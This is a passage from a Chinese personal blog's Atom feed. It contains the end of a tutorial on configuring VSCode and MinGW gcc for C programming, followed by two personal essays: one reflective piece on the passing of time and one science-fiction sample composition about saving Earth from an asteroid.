<span class="string">&quot;gcc&quot;</span><span class="punctuation">,</span> <span class="comment">// 调试会话开始前执行的任务，一般为编译程序，c++为g++, c为gcc</span></span><br><span class="line">            <span class="attr">&quot;setupCommands&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="punctuation">&#123;</span></span><br><span class="line">                    <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Enable pretty-printing for gdb&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;text&quot;</span><span class="punctuation">:</span> <span class="string">&quot;-enable-pretty-printing&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;ignoreFailures&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line">                <span class="punctuation">&#125;</span></span><br><span class="line">            <span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></li><li>如果你的MinGW的安装位置和示例的不同请记得把上面这个json中的全部<code>C:/Program_Files/MinGW/</code>换成你的安装位置</li><li>以下为<code>tasks.json</code><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;gcc&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="string">&quot;-g&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;$&#123;file&#125;&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;-o&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;$&#123;fileBasenameNoExtension&#125;.exe&quot;</span></span><br><span class="line">    <span class="punctuation">]</span><span class="punctuation">,</span> <span class="comment">// 编译命令参数</span></span><br><span class="line">    <span class="attr">&quot;problemMatcher&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;owner&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cpp&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;fileLocation&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">            <span class="string">&quot;relative&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;$&#123;workspaceFolder&#125;&quot;</span></span><br><span class="line">        <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;pattern&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;regexp&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^(.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;file&quot;</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;line&quot;</span><span class="punctuation">:</span> <span class="number">2</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;column&quot;</span><span class="punctuation">:</span> <span class="number">3</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;severity&quot;</span><span class="punctuation">:</span> <span class="number">4</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="number">5</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></li></ul><p>至此，VSCode的C语言编程环境也完成了构建。<br>接下来，你就可以在<code>D:\Clang</code>中进行C语言的编程了，例如新建一个<code>helloworld.c</code>并运行：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Hello Wold!\n&quot;</span>);</span><br><span class="line">    system(<span class="string">&quot;pause&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/../media/image/VSCode-gcc/helloworld.jpg" alt="&quot;Hello World!&quot;"><br>好了，开始你开心的编程之旅吧~</p>]]></content>
    
    
      
      
    <summary type="html">&lt;div class=&quot;alert alert-info&quot;&gt;&lt;div class=&quot;icon&quot;&gt;&lt;i class=&quot;fa fa-info&quot;&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class=&quot;text&quot;&gt;&lt;p&gt;这差不多算是我写blog这么久以来写的最良心的一个教程了&lt;br/&gt;(・∀・(・</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="C语言" scheme="https://blog.ypa.moe/tags/C%E8%AF%AD%E8%A8%80/"/>
    
    <category term="VSCode" scheme="https://blog.ypa.moe/tags/VSCode/"/>
    
    <category term="MinGW" scheme="https://blog.ypa.moe/tags/MinGW/"/>
    
    <category term="Windows" scheme="https://blog.ypa.moe/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>时</title>
    <link href="https://blog.ypa.moe/%E5%AD%90%E5%A4%9C%E9%9A%8F%E6%83%B3-%E6%97%B6/"/>
    <id>https://blog.ypa.moe/%E5%AD%90%E5%A4%9C%E9%9A%8F%E6%83%B3-%E6%97%B6/</id>
    <published>2021-02-25T12:00:00.000Z</published>
    <updated>2021-03-05T12:02:29.000Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://mp.weixin.qq.com/s?__biz=MzI0NDQxMjM3Ng==&mid=2247484045&idx=1&sn=45627e3256daf478b91c038e95f24bbb&chksm=e95f783ade28f12caf58dadb12433fdc6143168d67bea958447dc07b5f7ca27deea968410924&cur_album_id=1624969921103200259&scene=190#rd"><div class="alert alert-info"><div class="icon"><i class="fa fa-info"></i></div><div class="text"><p>本文首发于微信公众号橙子木的自言自语,点击阅读原文</p></div></div></a></p><p>15年前的某天<br>同一个位置<br>同样的食物<br>不同的是<br>已经随着时间消逝而去的童真<br>与那自由自在无忧无虑的快乐</p><p>还有谁记得当年的只有小朋友才能拿到的迷你圆筒冰淇淋呢<br>门口的麦当劳叔叔已经被风吹雨打了几十年，但笑容仍在<br>又有谁知道他会在想些什么呢？尽管他不过是个塑料假人</p><p>时间冲刷着一切，犹如海浪推着我们在海面上前行，推着我们一点点的长大。<br>有些人和事，伴随着我们一起走过多年；有些人和事，永远的停在了当年。</p><p>下雨了，起风了。<br>雨停了，风止了。<br>人来了，人走了。<br>你来了，你走了。</p><p>时间就是这样，推动着我们前进，同时又在不断的冲刷着我们，身上的棱角被一点点冲刷而去，把我们变的越来越圆滑，越来越平凡。<br>而时间的模样从未改变，仍旧如初。</p><p>相对论告诉我们，时间不是一成不变的。<br>生活告诉我们，时间是我们必须承受的。</p><p>总有一天，我也会消逝在时间的长河里，甚至连一个水花都不会翻起。<br>嘛，那又有什么关系呢。<br>反正，又有多少人不是呢。</p><p>时间的尽头，会是什么样子呢？我当然很好奇，当然，我活不到那个时候。如果有人活到了那时，而且还记得曾经有人提出过这个问题，请务必在心中默念答案，我能听得见。<br>嘛，其实我知道答案的。<br>答案是42。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MzI0NDQxMjM3Ng==&amp;mid=2247484045&amp;idx=1&amp;sn=45627e3256daf478b91c038e95f24bbb&amp;chksm=e95f783ade28f12</summary>
      
    
    
    
    <category term="子夜随想" scheme="https://blog.ypa.moe/categories/%E5%AD%90%E5%A4%9C%E9%9A%8F%E6%83%B3/"/>
    
    
    <category term="微信公众号" scheme="https://blog.ypa.moe/tags/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7/"/>
    
    <category term="随笔" scheme="https://blog.ypa.moe/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
  <entry>
    <title>从一颗小行星说起</title>
    <link href="https://blog.ypa.moe/%E5%AD%90%E5%A4%9C%E9%9A%8F%E6%83%B3-%E4%BB%8E%E4%B8%80%E9%A2%97%E5%B0%8F%E8%A1%8C%E6%98%9F%E8%AF%B4%E8%B5%B7/"/>
    <id>https://blog.ypa.moe/%E5%AD%90%E5%A4%9C%E9%9A%8F%E6%83%B3-%E4%BB%8E%E4%B8%80%E9%A2%97%E5%B0%8F%E8%A1%8C%E6%98%9F%E8%AF%B4%E8%B5%B7/</id>
    <published>2021-02-08T12:00:00.000Z</published>
    <updated>2021-03-05T11:59:42.000Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://mp.weixin.qq.com/s?__biz=MzI0NDQxMjM3Ng==&mid=2247484041&idx=1&sn=9c0a9bb2ce0a1feb7fef0d8d6b616525&chksm=e95f783ede28f1280d42e5d3f31f640300ae6bd223def1830ddf9f6bb3ccd57366718fce7f25&cur_album_id=1624969921103200259&scene=190#rd"><div class="alert alert-info"><div class="icon"><i class="fa fa-info"></i></div><div class="text"><p>本文首发于微信公众号橙子木的自言自语,点击阅读原文</p></div></div></a></p><p><strong>有个朋友要写作文结果没思路了，随便写了点给他当范文。因为是随便写的，有些地方语法措辞还有科学性也就没有太讲究，随便看看就好。</strong></p><hr><p>2121年，人类的科技水平在摩尔定律的技术爆炸的加持下，达到了前所未有的高度，移民其他星系和星球已不再是百年前的科幻故事。<br>技术爆炸的前提是要有人研究，而研究这些的人就是科学家，我的爷爷和父亲都是科学家，而我也继承了他们的事业成为了一名科学家。我们家三代科学家一同研究着同一个论题：地球人类的宇宙发展。<br>终于在经过我们众多科学家共同的不懈努力下，人类可以终于发展到了可以星际旅行的程度。在这之后，地球人的宇宙扩张速度变得越来越快，从最近的火星开始，再到木星，土星，冥王星，甚至离开了太阳系，一点点的蚕食着宇宙中的一个又一个星系。连原本不能发光的月球也有了大气层，开始被点点灯光照亮。成为了一颗五彩斑斓的卫星。<br>如今，地球人类已经有超过一半的人口移居外星，地球人口已不再有百年前那么多，甚至连一半都不到。年轻人以移居外星为时尚与潮流，地球本星剩余人口老龄化严重，防卫空虚，甚至开始有吃不上饭的趋势了。<br>此时的我，也已年近60，虽然对于这个时代来说60岁已经不是一个非常老的年龄了，但也已经是中年的年纪。当初我所在的地球宇宙研究院征询我们一家的意见是否要离开地球前往冥王星研究基地时，我们一家都毅然决然的拒绝了，地球是我们的根，也是我们的故乡，我们不愿离开这里。<br>但那天，地球遇到了大麻烦。<br>我们观测到一颗小行星正直冲地球而来，如果不进行拦截，一个月后地球将彻底从宇宙星图中消失。但正如我刚才所说，地球现在防卫力量空虚，光凭我们这些糟老头子根本无法拯救地球。这时地球防卫司令部联系到我，让我想尽一切办法将其拦截，哪怕动用地球的一切武器也要成功。<br>压在我肩头的担子变得更重了。<br>自那天开始，我便把自己关在研究所里，整整半个月，对着电脑屏幕进行着大量的计算，不眠不休，但人就没有找到解决方法，无论任何方法，地球的毁灭似乎都是板上钉钉的事了。在我一筹莫展之时，我的爷爷和父亲突然给我打来了一个电话，我才发现，原来我已经半个月没有离开过我自己的实验室——他们是叫我回家吃饭的。<br>我崩溃了，在电话里哭的很伤心，因为无法拯救地球。他们让我先回家，拯救不了地球，也没时间逃离，那不如好好享受这最后的时光。<br>到了家，在饭桌上，我们三人相顾无言，只是在不停的吃着饭。爷爷与父亲看了看我，终于挑起了话头：“孩子 没什么好担心的，人固有一死，你已经尽力了。小行星撞地球已是必然，那你再怎么担心也没用了。好好享受吧。”他们知道，打小我就是个好强的人，各种事情都争个第一，事不办成坚决不罢休。<br>“其实，我们留了后手，”爷爷突然说出了这么一句话，“70年前，我们便预知了未来可能会发生这样的事情，实验室秘密启动了地球防卫储备计划，我便是这个计划的负责人。”爷爷喝了一口茶，又慢悠悠的说，“那个时代，我们每个人都在考虑着未来的事，为未来会发生的一切事情提前做好准备，自然也有小行星反击预案……”<br>爷爷说完，我和父亲都吃了一惊，当场开始了计算与模拟，发现这个方案拦截成功率竟然高达90%。人类发展了这么多年，技术爆炸，视野却越来越窄，不再计划未来。我们现在居然要用一个70多年前的技术，来拯救地球。。。。。。<br>距离小行星到达地球还有7天，爷爷带领我们来到了深山里的拦截基地。大门已经被雨水冲刷的生锈，但控制室仍旧一尘不染，宛如有人每天都在打理一样。<br>爷爷慢慢的走向操作台，熟练的操作起了发射流程，就像70多年前的预演一样，很快就完成了发射准备。<br>“确认系统状态，确认拦截窗口，确认发射模式，确认核弹状态”爷爷命令我前去做最后的确认，“确认，确认，确认，确认，可以发射”不知为何，我的心里突然紧张了起来，可能是对系统稳定的担心，可能是对成功率的担心，也可能，不过是我自己在缠着自己。<br>爷爷按下了发射键。地面嗡嗡的振动了起来，屏幕上显示全世界的80多个核弹发射井的非工质火箭同时发射，将拯救地球的核弹向着小行星以极快的速度发射而去。<br>当年的计划，是通过大当量核弹打击小行星，将其推离既定轨道，借住土星和木星的引力弹弓将其弹走。而这是我未曾想到的。<br>“走吧，回家等着。”爷爷头也不回的对我们说了这么一句话。<br>无言。<br>后来的事情你们也知道了。新闻报道，科学家近日发现一颗小行星，以极快的速度向地球冲来，并以极近的距离掠过，导致全球停电，通信中断数小时。<br>离开研究所，阳光照射着我的脸庞，就如一百年前的那天照射着爷爷的阳光一样，明亮且温暖。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MzI0NDQxMjM3Ng==&amp;mid=2247484041&amp;idx=1&amp;sn=9c0a9bb2ce0a1feb7fef0d8d6b616525&amp;chksm=e95f783ede28f12</summary>
      
    
    
    
    <category term="子夜随想" scheme="https://blog.ypa.moe/categories/%E5%AD%90%E5%A4%9C%E9%9A%8F%E6%83%B3/"/>
    
    
    <category term="微信公众号" scheme="https://blog.ypa.moe/tags/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7/"/>
    
    <category term="随笔" scheme="https://blog.ypa.moe/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
</feed>
